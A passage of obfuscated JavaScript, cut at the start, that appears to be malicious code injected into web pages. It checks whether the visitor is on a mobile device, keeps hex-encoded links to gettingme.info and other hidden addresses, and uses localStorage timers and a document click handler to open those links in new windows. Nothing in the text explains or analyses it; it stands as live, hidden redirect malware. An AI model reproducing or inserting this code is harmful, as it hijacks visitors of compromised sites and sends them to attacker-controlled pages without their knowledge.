|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());